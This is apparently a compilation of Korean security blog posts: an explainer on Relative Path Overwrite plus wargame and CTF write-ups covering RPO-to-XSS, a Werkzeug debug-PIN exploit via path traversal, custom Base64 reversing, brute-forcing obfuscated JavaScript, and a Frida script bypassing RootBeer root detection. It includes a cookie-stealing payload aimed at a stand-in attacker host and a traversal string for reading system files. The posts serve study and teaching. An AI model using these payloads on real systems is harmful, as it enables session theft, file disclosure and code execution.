Relative Path Overwrite(RPO)는 웹 서버가 상대경로를 잘못 해석하면서, 공격자가 조작한 URL 경로에 의해 HTML/CSS/JS 등의 상대경로 리소스가 의도하지 않은 위치를 가리키게 되는 취약점  

 

 

 

 

웹페이지가 다음과 같이 되어 있는 경우

<link rel="stylesheet" href="css/style.css">
<script src="js/main.js"></script>

 

현재 페이지가 

https://example.com/board/view

라고 하면 브라우저는 상대경로를 기준으로 리소스를 찾게 됨

 

해당 경로에서 css/style.css를 요청하면 브라우저는 다음과 같이 해석 가능

https://example.com/board/css/style.css

 

현재 URL → 상대경로 계산 → 리소스 요청

 

 


 

서버가 둘 다 똑같은 HTML을 반환하는 상황을 가정

/board/view
/board/view/

 

 

HTML에는 여전히 아래 코드가 들어있음

<link rel="stylesheet" href="css/style.css">

 

 

  • 정상                /board/view
  • 조작된 URL     /board/view/

상대경로를 계산하는 기준점이 달라짐

결과적으로 브라우저가 

/board/css/style.css 가 아닌,

/board/view/css/style.css 처럼 다른 경로를 요청하게 됨

 

정상적인 리소스 위치
        ↓
/board/css/style.css

        ↓ URL 조작

변경된 리소스 위치
        ↓
/board/view/css/style.css

 

 


 

이게 취약점이 되는 이유

→ 상대경로로 로딩되는 리소스의 내용을 공격자가 통제할 수 있는 경우가 존재

 

페이지가 아래와 같이 되어 있는 경우

공격자가 URL을 조작해서 브라우저가 의도하지 않은 위치에서 main.js를 가져오도록 만들 수 있고

그 위치에서 공격자가 원하는 콘텐츠가 반환되면 문제가 됨

<script src="js/main.js"></script>

 

 

 


 

그래서 PRO는 XSS와 연결됨

 

서버가 "/test/<something>" 요청을 받아 동일한 HTML을 반환한다고 가정

<script src="js/app.js"></script>

 

공격자는 URL 경로를 조작해서 서버가 특정 요청을 JavaScript 파일 요청처럼 처리하도록 유도하고 

그 응답에 공격자가 제어하는 내용이 삽입되는게 가능하다면

 

브라우저는 이 것을 <script> ... </script>처럼 실행할 가능성이 생김

 

RPO
 ↓
상대경로 해석 변경
 ↓
의도하지 않은 리소스 요청
 ↓
공격자가 제어 가능한 콘텐츠 반환
 ↓
JavaScript로 해석
 ↓
XSS

 

※ RPO가 성립하더라도 브라우저의 URL 처리 방식, 서버의 라우팅, 응답의 Content-Type, CSP, 리소스 위치 등 여러 조건이 맞아야 실제 XSS로 이어질 수 있음

 

 

 


 

취약점 확인 방법

1. 상대경로 리소스 확인

페이지 소스를 보고 상대경로가 존재하는지 확인

<script src="js/app.js">
<link href="css/style.css">
<img src="images/logo.png">

 

 

2. URL 뒤에 경로 추가

/notice/view
와

/notice/view/

가 동일한 HTML을 반환하는지 확인

 

 

 

3. 상대경로 리소스 요청 확인

프록시 도구나 개발자도구로 조작된 URL에서 브라우저가 실제로 요청하는 곳을 확인

정상:
GET /notice/js/app.js

조작:
GET /notice/view/js/app.js

 

 

 

4. 추가 확인

공격자 제어 가능성 변경된 위치에서 공격자가 원하는 응답을 만들 수 있음
실행 가능성 JS 등으로 해석될 수 있는 경우
추가 방어기제 CSP, Content-Type 등에 따라 영향이 달라짐

 

 

 

 

 

 

 

 

 

아래는 Relative Path Overwrite 취약점을 이용한 워게임 풀이다

https://fight-hacker.tistory.com/46

 

[드림핵] Relative Path Overwrite Advanced 풀이 (WEB)

1. RPO(Relative Path Overwrite)란?원래 RPO는 웹 취약점 진단에서 널리 알려진 기법으로, HTML 문서 내에서 상대경로(relative path)로 리소스를 참조할 때, 브라우저가 이를 "현재 문서 URL 기준"으로 resolve한

fight-hacker.tistory.com

 

 

 

 

'웹 해킹 > 실무' 카테고리의 다른 글

버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS)  (0) 2025.03.31
XSS 필터링 우회4  (0) 2025.03.11
XSS 필터링 우회3  (0) 2025.03.10
XSS 필터링 우회2  (0) 2025.03.10
XSS 필터링 우회  (0) 2025.03.07

 

 

 

 

1. RPO(Relative Path Overwrite)란?

원래 RPO는 웹 취약점 진단에서 널리 알려진 기법으로, HTML 문서 내에서 상대경로(relative path)로 리소스를 참조할 때, 브라우저가 이를 "현재 문서 URL 기준"으로 resolve한다는 점을 악용하는 기법

브라우저의 상대경로 resolve 규칙

브라우저가 <script src="filter.js"> 같은 상대경로를 만나면, 현재 페이지 URL에서 마지막 / 이후 부분(파일명 취급되는 부분)을 잘라내고, 그 앞부분 + 상대경로를 합쳐서 최종 URL을 만듬 (파일시스템의 상대경로 개념과 동일)

현재 페이지 URL src="filter.js" resolve 결과
/index.php?page=vuln /filter.js
/index.php/vuln?page=vuln /index.php/filter.js
/index.php/A/B?page=vuln /index.php/A/filter.js
/index.php/A/B/C?page=vuln /index.php/A/B/filter.js

 

즉 PATH_INFO(URL 경로에서 스크립트 파일명 뒤에 붙는 추가 경로 세그먼트)를 몇 개 넣느냐에 따라, 상대경로가 resolve되는 "기준 디렉터리"를 임의로 조작할 수 있음

 

 

 

일반적인 RPO 공격의 고전적 패턴:

서버가 CSS/JS 등을 상대경로로 로드하는데, 공격자가 PATH_INFO에 자기가 원하는 콘텐츠를 반사(reflect)해주는 엔드포인트로 우회 라우팅을 시켜서, 브라우저가 정상 스크립트/CSS인 줄 알고 공격자가 통제하는 콘텐츠를 실행/적용하게 만듬

 

이 문제에서는 그 "반사 엔드포인트" 역할을 404 에러 핸들러가 대신 하고 있음!

 

 

 

 

 

2. 문제 파일 분석

2-1) PATH_INFO를 라우팅 로직이 무시함

index.php 코드에서는 $_GET['page']만 검사할 뿐 URL 경로 자체(PATH_INFO)는 전혀 신경 쓰지 않음

PHP-Apache 조합에서는 실제파일.php/아무거나/아무거나2 형태로 요청해도 Apache/PHP가 PATH_INFO로 처리해서 index.php를 정상 실행시켜줌 

// index.php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
    include $page;

 

 

다음과 같이 요청해도 서버 입장에선 정상적으로 page=vuln → vuln.php include → 화면에 vuln.php의 HTML이 그대로 렌더링PATH_INFO(/A/B)는 include 로직에 전혀 영향을 주지 않지만 브라우저 입장에서는 "현재 페이지의 URL"이 /index.php/A/B라는 사실은 그대로 유지

GET /index.php/A/B?page=vuln&param=dreamhack

 

 

 

 

 

 

 

2-2) 상대경로 리소스 참조

브라우저는 현재 문서 URL을 /index.php/A/B로 인식하고 있으므로 위 규칙에 따라 filter.js를 다음과 같이 resolve함

/index.php/A/filter.js

// vuln.php
<script src="filter.js"></script>

 

여기서 A 자리가 바로 우리가 통제할 수 있는 영역이 됨

 

 

 

 

2-3) 확장자 기반 rewrite

/index.php/A/filter.js는 .js로 끝나는 요청이므로 Apache가 실제로는 다음 경로를 찾으려고 함

/static/index.php/A/filter

→  존재하지 않는 경로이므로 404 Not Found가 발생

//000-default.conf
RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L]

 

 

 

2-4) 404 헨들러의 반사(reflection)

진짜 핵심. ErrorDocument 404 /404.php가 설정되어 있으면 404가 발생했을 때 Apache는 내부적으로 /404.php를 재실행하면서 원래 요청 정보($_SERVER["REQUEST_URI"])를 그대로 넘겨

// 404.php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";

 

REQUEST_URI는 rewrite가 적용되기 전, 클라이언트가 보낸 원본 URI를 담고 있음

REQUEST_URI = /index.php/A/filter.js

이 값이 그대로 echo 되어 응답 본문에 실림

/index.php/A/filter.js not found.

 

 

 

그리고 이 404 응답은 header("HTTP/1.1 200 OK")로 상태 코드를 200으로 위장하고 있음

→ 

  • 브라우저가 <script src="filter.js">로 요청한 리소스가 만약 진짜 404로 응답했다면 스크립트를 아예 실행 안 함
  • 하지만 상태코드를 200으로 위장하고 Content-Type도 기본적으로 PHP는 text/html을 내려주는데 <script> 태그는 응답의 Content-Type에 크게 구애받지 않고 본문을 JS로 파싱해서 실행함 (MIME 타입 체크가 느슨한 브라우저 정책, 특히 same-origin에서는 더더욱 관대함).

 

 

결과적으로 브라우저는 "정상적으로 200 OK를 받은 JS 파일"이라고 착각하고, 응답 본문(/index.php/A/filter.js not found.)을 JavaScript 코드로 실행해버림

 

 

 

 

2-5) A를 통해 임의 JS 실행시키기 

 

  • 맨 앞 /index.php/: JS의 정규식 리터럴(/.../)로 파싱되어, 단독 표현식 문장(no-op)으로 무해하게 지나감
  • A: 우리가 통제하는 부분. 여기에 ; 로 앞 문장을 끊고, 원하는 JS 코드를 삽입한 뒤, 뒤에 남는 /filter.js not found. 부분을 //로 주석 처리해버리면 완전한 코드 인젝션 완성

 

/index.php/ + A + /filter.js not found.

A = ;location='//attacker.com/'+document.cookie//x

 

 

 

▶ 4가지 요소로 이루어진 취약점 ◀

 

  1. PATH_INFO를 무시하는 느슨한 라우팅 (프레임워크/직접 구현 라우터에서 흔함)
  2. 상대경로로 정적 리소스를 참조하는 페이지 (src="x.js", href="x.css"처럼 /로 시작 안 하는 경로)
  3. 경로에 종속적으로 사용자 입력을 반사하는 지점 (여기선 404 핸들러의 REQUEST_URI echo, 다른 문제에서는 커스텀 에러 페이지, 로그 페이지 등이 대신할 수도 있음)
  4. 반사 응답이 200처럼 취급되어 브라우저가 스크립트로 실행 (Content-Type 무시 + 상태코드 위장)

 

 

 

 

 

 

 

 

3. flag 탈취

공격 구문 입력

 

플래그 획득

 

 

 

 

 

 

 

 

 

 

 

 

 

 

app.py

경로 필터링이 전혀 없는 Path Traversal / LFI(Local File Inclusion) 취약점 발견

<path:file>은 슬래시(/)도 그대로 받기 때문에 /etc/passwd 같은 절대경로나 ../../ 상대경로를 그대로 넣을 수 있음

@app.route('/<path:file>')
def file(file):
	return open(file).read()

 

 

 

Dockerfile

/flag가 chmod 111(실행 전용, r-x가 아니라 --x--x--x)로 설정돼 있음

즉 읽기 권한이 없어서 open('/flag').read()로는 못 읽음 실행은 되지만 읽을 수 없는 파일

→ 이걸 "실행시켜서 출력을 받아내는" RCE가 필요

RUN gcc /app/flag.c -o /flag \
    && chmod 111 /flag && rm /app/flag.c

 

 

 

 

Werkzeug 1.0.1은 알려진 Directory Traversal 취약점이 존재

응답 해더에 노출된 정보

 

 

 

 

Flask를 debug=True로 실행하면 에러 발생 시 브라우저에 Werkzeug 인터랙티브 디버거가 뜨는데

이 콘솔에 PIN만 뚫으면 임의 파이썬 코드 실행이 가능함

app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)

 

 

 

Flask 앱을 debug=True로 켜면, 코드에서 처리되지 않은 예외(에러)가 발생했을 때 브라우저에 Werkzeug 인터랙티브 디버거라는 화면이 뜸

이건 원래 개발자 편의 기능 — 에러가 난 그 스택 트레이스 위에서 직접 파이썬 코드를 실행해보면서 변수값을 확인하고 디버깅할 수 있게 해주는 콘솔이지.

그런데 이건 완전한 파이썬 REPL임

os.system(), os.popen() 뭐든 실행 가능

그래서 이걸 아무나 접근하게 두면 바로 RCE(원격 코드 실행)가 되는 거고, Werkzeug는 이 콘솔에 접근하려면 **PIN 코드(보통 9자리 숫자)**를 입력해야 함

 

PIN 구하기

Werkzeug 소스에서 PIN을 계산하는 함수를 확인 가능

https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py

 

 

 

PIN 계산에 사용되는 값

  • username (앱 실행 유저) — Dockerfile에서 $user = dreamhack로 이미 확인됨
  • modname (보통 flask.app)
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) — Flask
  • getattr(mod, '__file__', None) — Flask 라이브러리 경로 (예: /usr/local/lib/python3.8/site-packages/flask/app.py)
  • 머신 고유값들: uuid.getnode()(MAC), machine_id(/etc/machine-id 또는 /proc/self/cgroup의 값 등)

 

 

 

 

 

machine_id 관련 파일들

/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup

 

 

 

 

@app.route('/<path:file>')에서 URL이 /etc/machine-id면, Flask는 라우트의 구분자로 쓰인 맨 앞 / 하나를 떼어내고 <path:file>에는 etc/machine-id (맨 앞 슬래시 없이)가 들어감

그러면 코드에서 open(file)을 호출할 때:

open("etc/machine-id")

 

 

슬래시 두 개 써서 절대경로 만들기

http://host3.dreamhack.games:18629//etc/machine-id

 

 

연속된 슬래시(//)를 자동으로 슬래시 하나로 합쳐버림...

 

 

 

 

 

 

  • 요청: /..%2fetc%2fmachine-id → 디코딩되면 /../etc/machine-id
  • 라우트 /<path:file>이 맨 앞 슬래시 하나만 구분자로 소비하고, 나머지 ../etc/machine-id 전체가 file 변수에 그대로 들어감 (슬래시가 하나뿐이라 병합될 것도 없음)
  • 코드에서 open("../etc/machine-id") 실행
  • 현재 작업 디렉토리는 WORKDIR /app이고, /app은 파일시스템 루트 바로 아래 있으니까 ../로 한 번만 올라가면 / (루트)에 도달 → /etc/machine-id를 정확히 가리키게 됨
  • curl이나 브라우저는 HTTP 요청을 실제로 보내기 전에, URL 경로에 있는 .이나 .. 같은 dot-segment를 RFC 3986 규칙에 따라 알아서 정리하므로 ../를 ..%2F로 인코딩해야 함

 

 

 

 

 

 

 

확인한 PIN 함수로 PIN 구함

 

 

 

 

에러페이지에서 코드 부분에 마우스를 올리면 콘솔 아이콘이 나타남

 

 

 

 

콘솔 아이콘을 클릭하여 디버거 콘솔에 계산한 PIN을 입력하면 

콘솔 사용 가능

 

 

 

flag 파일을 읽으면 끝

 

 

 

 

 

 

 

문제

 

 

 

텍스트 파일 3개와 핵심 문제 파일 한 개가 존재

 

 

 

 

ELF 파일으로 확인

 

 

실행 권한을 주고 파일 실행 시 <table filename>과 <input filename>을 인자로 받는 것을 확인

 

 

 

 

 

 

entry()에서 main 함수 위치 확인

Ghidra를 사용하여 디컴파일

 

 

메인 함수 확인

 

↓

메인 함수 코드

undefined8 FUN_0010154d(int param_1,long param_2)

{
  FILE *pFVar1;
  long lVar2;
  ulong __size;
  void *__s;
  void *__ptr;
  
  if (param_1 != 3) {
    fwrite("Usage : ./baseball <table filename> <input filename>\n",1,0x35,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pFVar1 = fopen(*(char **)(param_2 + 8),"rb");
  if (pFVar1 == (FILE *)0x0) {
    fwrite("File not found\n",1,0xf,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,2);
  lVar2 = ftell(pFVar1);
  fseek(pFVar1,0,0);
  if (lVar2 != 0x40) {
    fwrite("Invalid table\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fread(&DAT_00104040,0x41,1,pFVar1);
  fclose(pFVar1);
  pFVar1 = fopen(*(char **)(param_2 + 0x10),"rb");
  if (pFVar1 == (FILE *)0x0) {
    fwrite("File not found\n",1,0xf,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,2);
  __size = ftell(pFVar1);
  if (__size == 0) {
    fwrite("Invalid input\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  fseek(pFVar1,0,0);
  __s = malloc(__size + 1);
  if (__s == (void *)0x0) {
    fwrite("Allocation failed\n",1,0x12,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  memset(__s,0,__size + 1);
  fread(__s,__size,1,pFVar1);
  fclose(pFVar1);
  __ptr = (void *)FUN_00101289(__s,__size & 0xffffffff);
  printf("%s",__ptr);
  free(__s);
  free(__ptr);
  return 0;

 

↑

table 파일은 정확히 64바이트여야 하고 (0x40 체크), 전역 버퍼 DAT_00104040에 65바이트(0x41)를 읽어들임 (마지막 1바이트는 아마 null terminator나 패딩용)

— 즉 이 64바이트가 커스텀 base64 알파벳 테이블로 보임 (표준 base64 알파벳도 64자 + = 패딩 문자 조합)

  if (lVar2 != 0x40) {
    fwrite("Invalid table\n",1,0xe,stderr);
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }

 

input 파일은 FUN_00101289(__s, size) 에 넘기고 그 리턴값을 printf("%s", ...)로 출력

이 FUN_00101289가 인코딩 핵심 로직으로 보임

  __ptr = (void *)FUN_00101289(__s,__size & 0xffffffff);
  printf("%s",__ptr);

 

 

 

 

 

 

FUN_00101289 함수 확인

 

↓

FUN_00101289 함수 코드

undefined1 * FUN_00101289(byte *param_1,int param_2)

{
  undefined1 *puVar1;
  ulong uVar2;
  undefined1 *puVar3;
  byte *pbVar4;
  undefined1 *local_30;
  byte *local_28;
  
  uVar2 = (ulong)((param_2 << 2) / 3 + 4);
  uVar2 = uVar2 + uVar2 / 0x48 + 1;
  if (uVar2 < (ulong)(long)param_2) {
    puVar3 = (undefined1 *)0x0;
  }
  else {
    puVar3 = malloc(uVar2);
    if (puVar3 == (undefined1 *)0x0) {
      puVar3 = (undefined1 *)0x0;
    }
    else {
      pbVar4 = param_1 + param_2;
      local_30 = puVar3;
      for (local_28 = param_1; puVar1 = local_30, 2 < (long)pbVar4 - (long)local_28;
          local_28 = local_28 + 3) {
        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
        puVar1 = local_30 + 3;
        local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2 | (uint)(local_28[2] >> 6))];
        local_30 = local_30 + 4;
        *puVar1 = (&DAT_00104040)[(int)(local_28[2] & 0x3f)];
      }
      if (pbVar4 != local_28) {
        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        if ((long)pbVar4 - (long)local_28 == 1) {
          local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4)];
          local_30[2] = 0x3d;
        }
        else {
          local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
          local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2)];
        }
        local_30 = local_30 + 3;
        *local_30 = 0x3d;
        local_30 = puVar1 + 4;
      }
      *local_30 = 0;
    }
  }
  return puVar3;
}

 

 

 

입력 3바이트(local_28)를 6비트씩 4조각으로 쪼개서 그 6비트 값(0~63)을 인덱스로 삼아서 DAT_00104040(테이블)에서 문자를 치환하는 코드가 보임

-> Base64 인코딩 기법!!!

(참고: https://namu.wiki/w/BASE64 )

        *local_30 = (&DAT_00104040)[(int)(uint)(*local_28 >> 2)];
        local_30[1] = (&DAT_00104040)[(int)((*local_28 & 3) << 4 | (uint)(local_28[1] >> 4))];
        puVar1 = local_30 + 3;
        local_30[2] = (&DAT_00104040)[(int)((local_28[1] & 0xf) << 2 | (uint)(local_28[2] >> 6))];
        local_30 = local_30 + 4;
        *puVar1 = (&DAT_00104040)[(int)(local_28[2] & 0x3f)];

 

 

 

 

 

 

즉, "테이블[인덱스] = 출력문자"라는 대응관계가 존재하고 인덱스는 평문에서 직접 계산 가능

주어진 text_in.txt, text_out.txt 파일을 매칭하여 테이블을 복원

{테이블 추출 코드}

with open("text_in.txt", "rb") as f:
    plain = f.read()
with open("text_out.txt", "r") as f:
    encoded = f.read().strip()

mapping = {}     
conflicts = []

def record(idx, ch):
    if idx in mapping and mapping[idx] != ch:
        conflicts.append((idx, mapping[idx], ch))
    mapping[idx] = ch

i = 0
oi = 0
n = len(plain)
while i < n:
    chunk = plain[i:i+3]
    remain = len(chunk)

    if remain == 3:
        b0, b1, b2 = chunk
        idxs = [
            b0 >> 2,
            ((b0 & 3) << 4) | (b1 >> 4),
            ((b1 & 0xf) << 2) | (b2 >> 6),
            b2 & 0x3f,
        ]
        chars = encoded[oi:oi+4]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    elif remain == 2:
        b0, b1 = chunk
        idxs = [
            b0 >> 2,
            ((b0 & 3) << 4) | (b1 >> 4),
            (b1 & 0xf) << 2,
        ]
        chars = encoded[oi:oi+3]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    elif remain == 1:
        b0 = chunk[0]
        idxs = [b0 >> 2, (b0 & 3) << 4]
        chars = encoded[oi:oi+2]
        for idx, ch in zip(idxs, chars):
            record(idx, ch)
        oi += 4

    i += 3


table = "".join(mapping.get(x, "?") for x in range(64))
print("테이블:", table)

 

 

64개의 인덱스 중 53개만 채워진 테이블

(149바이트 평문만으로는 64개 인덱스를 전부 커버 못 함)

?hs?RF/tuI?W3d?YnSvV7OUQbZcN4J2?1GL+ejA8?r?lpg5ak?Bo0qyDHm??M9?P

 

 

 

 

 

 

flag_out.txt의 40 글자를 추출한 테이블로 매핑하여 역조회

{역조회 디코딩 코드}

char_to_idx: {'7': 20, '/': 6, 'O': 21, 'k': 48, 'Z': 25, 'Q': 23, 'I': 9, 'a': 47, 'u': 8, 'j': 37, 'o': 51, 'R': 4, '1': 32, 'b': 24, 'y': 54, '9': 61, 'c': 26, 't': 7, 'd': 13, '0': 52, 'U': 22, 'l': 43, 'W': 11, 's': 2, 'h': 1, 'e': 36, 'n': 16, 'H': 56, 'g': 45, '4': 28, 'q': 53, 'N': 27, 'A': 38, 'G': 33, 'p': 44, 'S': 17, 'm': 57, 'F': 5, '+': 35, 'J': 29, 'B': 50, '8': 39, 'Y': 15, 'M': 60, 'P': 63, '5': 46, '2': 30, 'v': 18, 'r': 41, 'L': 34, 'V': 19, 'D': 55, '3': 12}

with open("flag_out.txt", "r") as f:
    flag_out = f.read().strip()

s = flag_out.rstrip("=")          
idxs = [char_to_idx[c] for c in s]     

out = bytearray()
i = 0
n = len(idxs)
while i < n:
    group = idxs[i:i+4]
    if len(group) == 4:
        a, b, c, d = group
        out.append((a << 2) | (b >> 4))
        out.append(((b & 0xf) << 4) | (c >> 2))
        out.append(((c & 3) << 6) | d)
    elif len(group) == 3:
        a, b, c = group
        out.append((a << 2) | (b >> 4))
        out.append(((b & 0xf) << 4) | (c >> 2))
    elif len(group) == 2:
        a, b = group
        out.append((a << 2) | (b >> 4))
    i += 4

print("디코딩 결과:", out.decode())

 

 

 

 

다행히 53개의 인덱스 안에서 매핑이 되어 디코딩 성공

flag 획득

 

 

 

 

 

 

 

 

문제

 

 

파일을 다운로드 받아 확인 시 난독화 되어 있음을 확인함

그리고 제출 버튼 클릭 시 사용자 입력값을 받아 _0x9a220() 함수가 실행되는 것을 확인함

<button onclick="_0x9a220(pass.value);">Confirm</button> 형태로, input의 값을 그대로 인자로 넘기는 구조임

 

 

보기 불편하니까 개발자도구 → Sources 창에서 _0x9a220 함수 확인함

눈으로 대강 봤을 때는 file이라는 내용을 복호화하고 복호화한 내용을 이용해서 어떤 두 값을 비교해서 다르면 알림창을 띄우고 같으면 정답이 나오는 것으로 유추함

 

 

 

 

 

 

_0x9a220 함수 시작 부분과 if문에 브레이크포인트를 걸고 비밀번호로 "1234"를 입력하여 "Confirm" 버튼 클릭함

if문 전까지 실행하면 다음과 같은 결과를 확인할 수 있음

 

 

 

함수 코드를 보면

 _0x30bf04(사용자 입력값)를 _0x3eebe5에 넣고, 그 결과를 문자 배열로 바꿔서 각 문자의 charCodeAt()(= 바이트값)를 뽑음: _0x2ee89c: (16) [129, 220, 155, 219, 82, 208, ...] — 길이가 정확히 16.

임의 길이 문자열("1234")을 넣었는데 결과가 항상 16바이트로 고정된다는 건, _0x3eebe5가 입력을 고정 길이 다이제스트로 만드는 해시 함수라는 뜻

_0x2ee89c = Array.from(_0x3eebe5(_0x30bf04, null, raw=true)).map(c => c.charCodeAt())

 

그리고 같은 변수 _0x2ee89c를 인자로 두 번 넘기는 것을 확인함

_0x2fef58 = new _0x58829a['_0x14c3a3'][...](_0x2ee89c, _0x2ee89c);

 

 

디버거 Scope를 보면

description: 'Cipher Block Chaining', name: 'cbc' — 이건 CryptoJS 라이브러리가 내부적으로 CBC 모드 객체를 만들 때 붙이는 표준 메타데이터임

즉 이 객체는 CryptoJS의 AES-CBC 관련 생성자이고 인자 두 자리에 똑같은 값(_0x2ee89c)이 들어갔으니 key와 IV로 동일한 값이 쓰인다는 걸로 유추

_0x2fef58: _0x2ef5df {description: 'Cipher Block Chaining', name: 'cbc', ...}

 

 

 

 

 

 

_0x3eebe5가 어떤 해시 알고리즘인지 확인하기 위해 코드를 확인해보면

_0x3eebe5 함수 자체는 알고리즘이 아니라 어떤 모드로 수행할지 결정하는 분기점 역할만 수행하고 있음

    function _0x3eebe5(_0x2c5c24, _0xceb417, _0x169ee3) {
        if (!_0xceb417) {
            if (!_0x169ee3)
                return _0x42115c(_0x2c5c24);
            return _0x4cd335(_0x2c5c24);
        }
        if (!_0x169ee3)
            return _0x4fb15f(_0xceb417, _0x2c5c24);
        return _0x2f5ed0(_0xceb417, _0x2c5c24);
    }

 

 

 

다시 _0x9a220 함수를 확인해보면 항상 호출 시 key는 null, raw는 true임

  • key가 falsy → 위쪽 블록
  • raw가 true → !raw가 false → 안쪽 if를 건너뛰고 return _0x4cd335(data)

따라서 무조건 _0x4cd335 함수로만 들어감

_0x3eebe5(_0x30bf04, null, raw=true)   // key 자리에 null
_0x3eebe5(odradurs1, null, raw=true)   // key 자리에 null

 

 

 

_0x4cd335 함수를 추적해보면

Paul Johnston의 MD5 구현체 구조와 일치함을 확인 가능

( 참고: https://github.com/enyo/md5 )

   function _0x4cd335(_0x301302) {
        return _0x5d2b7f(_0x199598(_0x301302));
    }

    function _0x199598(_0x3e3b23) {
        return unescape(encodeURIComponent(_0x3e3b23));
    }

    function _0x5d2b7f(_0x5b26ff) {
        var _0x284707 = _0x2439;
        return _0x81c0e8(_0x1bb977(_0x36c462(_0x5b26ff), _0x5b26ff[_0x284707('0x2c', 'i4ly')] * 0x8));
    }

 

 

 

 

 

 

난독화된 코드의 최종 정리된 로직은 다음과 같음

6자리 비밀번호(입력값)를 MD5 해싱

→ AES-CBC(key=iv=그 해시)로 file 복호화

→ 복호화 결과를 다시 MD5 해싱해서 코드에 박혀있는 고정 해시값과 비교

function checkPassword(pass) {
    const key = MD5(pass);                 // 16바이트, key이자 IV
    const plaintext = AES_CBC_decrypt(file, key, key);
    if (MD5(plaintext) != "고정 해시값")
        return alert('Wrong');
    document.write(`<img src="${plaintext}">`);
}

 

 

이 구조상 정답 비밀번호를 모르면 애초에 올바른 key/IV가 안 나와서 복호화 결과가 의미 없는 바이트가 되고

그 해시가 고정값과 절대 일치할 수 없음

→ 눈으로 값 하나 찾는 문제가 아니라 사실상 AES 복호화 + 해시 비교를 반복하는 브루트포스 문제로 결론

 

 

 

 

 

 

브루트포스로 사용자 입력값을 000101부터 991231까지 순회하는 코드 생성

  • 8x/9x년생일 확률이 높다고 판단해서 연도(yy)를 99부터 역순으로 순회하도록 설정
  • 정답 판별은 _0x9a220() 함수 자체의 반환값(내부 해시 비교 결과)을 그대로 사용함 (true면 정답, false면 오답)
  • alert 창이 발생하지 않도록 설정
  • 정답을 찾으면 document.write가 페이지 전체를 덮어써버리는 걸 막기 위해 document.write도 오버라이드해서 결과 문자열(img 태그의 src 값)만 콘솔/클립보드로 뽑아내도록 처리
window.alert = function(msg){ console.log('[alert]', msg); };

document.write = function(html){
  const src = html.match(/src="([^"]+)"/)[1];
  copy(src);            
  console.log('복사 완료, 길이:', src.length);
};

for (let yy = 99; yy >= 0; yy--) {
  for (let mm = 1; mm <= 12; mm++) {
    for (let dd = 1; dd <= 31; dd++) {
      const cand = String(yy).padStart(2,'0') + String(mm).padStart(2,'0') + String(dd).padStart(2,'0');
      if (_0x9a220(cand)) {
        console.log('PASSWORD FOUND:', cand);
      }
    }
  }
}

 

 

 

위 코드를 콘솔창에서 실행하여 패스워드 값을 획득

 

 

 

비밀번호를 입력하면 노출되는 이미지를 통해 플래그 확인 가능

 

 

 

 

 

 

rooting.js

Java.perform(() => {
	let RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
	RootBeer["checkForSuBinary"].implementation = function () {
		console.log(`RootBeer.checkForSuBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForSuBinary result=${result}`);
		return result;
	};
	RootBeer["checkForBusyBoxBinary"].implementation = function () {
		console.log(`RootBeer.checkForBusyBoxBinary is called`);
		let result = false;
		console.log(`RootBeer.checkForBusyBoxBinary result=${result}`);
		return result;
	};
	RootBeer["checkSuExists"].implementation = function () {
		console.log(`RootBeer.checkSuExists is called`);
		let result = false;
		console.log(`RootBeer.checkSuExists result=${result}`);
		return result;
	};
});

 

 

 

rootbeer 앱 PID 확인

 

 

 

Frida 후킹

 

 

 

루팅 탐지 우회 성공

 

 

 

 

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] Frida 설치(녹스)  (0) 2025.11.07

 

녹스 설치 후

 

ROOT 켜기

 

 

설정 > 태블릿 정보 > 빌드 번호 연타

 

 

 

프리다 클라이언트 설지

 

pip install frida-tools

 

프리다 버전 확인

frida --version

 

 

 

 

 

프리다 서버 설치

 

adb shell 들어가기

 

adb shell에서 CPU 아키텍처 확인 (x86->32bit, x86_64->64bit)

 

 

아래 사이트에서 프리다 클라이언트 버전과 아키텍처에 맞는 server 압축 파일 다운로드

https://github.com/frida/frida/releases

 

Releases · frida/frida

Clone this repo to build Frida. Contribute to frida/frida development by creating an account on GitHub.

github.com

 

 

다운로드한 압축 파일 압축 해제 후 안드로이드의 임시 저장 위치인 /data/local/tmp 폴더에 넣기

 

 

다시 adb shell에서 

/data/local/tmp 폴더로 이동 후 넣은 서버 파일 권한 수정 후

서버 실행

 

잘 실행됐는지 확인

 

 

'모바일 해킹' 카테고리의 다른 글

[안드로이드] 루팅 탐지 우회 (RootBeer)  (0) 2025.11.07

 

 

 

🚨 본 문서는 보안 연구 및 교육 목적으로 작성되었습니다.

실제 시스템이나 웹사이트에 무단으로 공격을 시도하는 것은 불법이며, 법적 처벌을 받을 수 있습니다.

 

 

 

 

 

버프 스위트 pro (유료)버전은 collaborator 기능을 사용할 수 있다

 

Burp Collaborator는 고유한 도메인 이름을 제공하며,

